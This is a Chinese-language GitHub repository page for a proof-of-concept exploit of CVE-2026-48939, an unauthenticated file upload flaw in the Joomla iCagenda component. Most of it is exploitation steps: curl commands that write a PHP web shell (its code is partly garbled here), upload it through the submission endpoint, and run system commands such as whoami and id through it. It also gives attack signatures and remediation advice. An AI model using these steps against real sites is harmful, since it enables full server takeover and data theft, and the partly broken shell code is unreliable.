Polosss/By-Poloss..-..CVE-2026-48939

GitHub: Polosss/By-Poloss..-..CVE-2026-48939

该项目是 Joomla iCagenda 组件未授权文件上传导致远程代码执行漏洞(CVE-2026-48939)的概念验证工具,用于复现和验证该高危漏洞。

Stars: 1 | Forks: 0

# CVE-2026-48939 - iCagenda 未授权文件上传导致 RCE ## 概述 | 字段 | 值 | |-------|-------| | **CVE ID** | CVE-2026-48939 | | **CVSS 4.0 Score** | 10.0 Critical | | **CVSS Vector** | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H | | **CWE** | CWE-284: 不当的访问控制 | | **受影响版本** | iCagenda 3.2.1 - 3.9.14 和 4.0.0 - 4.0.7 | | **修复版本** | iCagenda 4.0.8 和 3.9.15 | | **发布日期** | 2026 年 6 月 20 日 | ## 漏洞描述 iCagenda 是 Joomla 的一款热门活动和日历组件,它包含一个未授权文件上传漏洞,允许远程攻击者在 Joomla 6 站点上上传并执行任意 PHP 代码。 ### 技术细节 该漏洞存在于前端事件提交表单的文件附件功能中: 1. **缺少访问控制**:提交端点 (`index.php?option=com_icagenda&task=registration.submit`) 未强制执行身份验证,绕过了“仅限注册用户”的访问设置。 2. **无文件验证**:上传的文件会保留其原始扩展名被保存,且没有进行以下检查: - 扩展名白名单验证 - MIME 类型验证 - 文件内容检查 3. **直接写入文件**:文件被直接写入 Web 根目录下的 `/images/icagenda/frontend/attachments/[filename]`。 4. **PHP 执行**:在 Joomla 6 中,上传的 `.php` 文件是可执行的,从而导致远程代码执行 (RCE)。 ## 概念验证 ### 方法 1:使用 curl(单条命令) ``` # 创建 PHP shell payload cat > /tmp/shell.php << 'EOF' &1"); } ?> EOF # 上传 shell curl -k -s \ -F "title=Test Event" \ -F "jform[attachment]=@/tmp/shell.php;type=application/x-php" \ "https://poloss-jomola.ddev.site/icagenda_submit.php" # 通过上传的 shell 执行命令 curl -k "https://poloss-jomola.ddev.site/images/icagenda/frontend/attachments/[SHELL_FILENAME].php?cmd=whoami" ``` ### 方法 2:使用 PoC 脚本 ``` # 导航到项目目录 # 运行 PoC 脚本 ./CVE-2026-48939-PoC.sh https://poloss-jomola.ddev.site ``` ## 利用步骤 1. **识别易受攻击的端点**: https://target.com/index.php?option=com_icagenda&task=submit 2. **上传 PHP web shell**: curl -X POST -F "jform[attachment]=@shell.php" \ "https://target.com/index.php?option=com_icagenda&task=submit" 3. **执行 shell**: curl "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id" ## 影响 - **机密性**:机密性完全丧失 - 攻击者可以读取所有文件 - **完整性**:完整性完全丧失 - 攻击者可以修改所有数据 - **可用性**:可用性完全丧失 - 攻击者可以造成拒绝服务 - **远程代码执行**:服务器被完全控制 ## 攻击特征 基于真实世界的利用日志,攻击特征如下: ``` # 步骤 1:上传 POST /index.php?option=com_icagenda&task=submit User-Agent: icagenda-batch/1.0 Content-Disposition: form-data; name="jform[attachment]"; filename="shell.php" # 步骤 2:执行 GET /images/icagenda/frontend/attachments/shell.php?cmd=... User-Agent: icagenda-batch/1.0 ``` ## 修复方案 1. **立即处理**:将 iCagenda 更新至 4.0.8 版本(旧分支更新至 3.9.15) 2. **替代方案**:暂时移除或重命名 `com_icagenda` 文件夹 3. **注意**:取消发布该组件并不能防止此漏洞 ## 参考 - [iCagenda Zero Day RCE - mysites.guru](https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/) - [iCagenda 官方网站](https://www.icagenda.com/) - [Changelog 4.0.8](https://www.icagenda.com/docs/changelog/icagenda-4-0-8) - [CISA ADP 公告](https://www.cisa.gov/news-events/alerts) ## 免责声明 此 PoC 仅用于教育和授权的安全测试目的。未经授权访问计算机系统是违法行为。
标签:CISA项目, Maven, PoC, Web安全, 应用安全, 暴力破解, 漏洞验证, 蓝队分析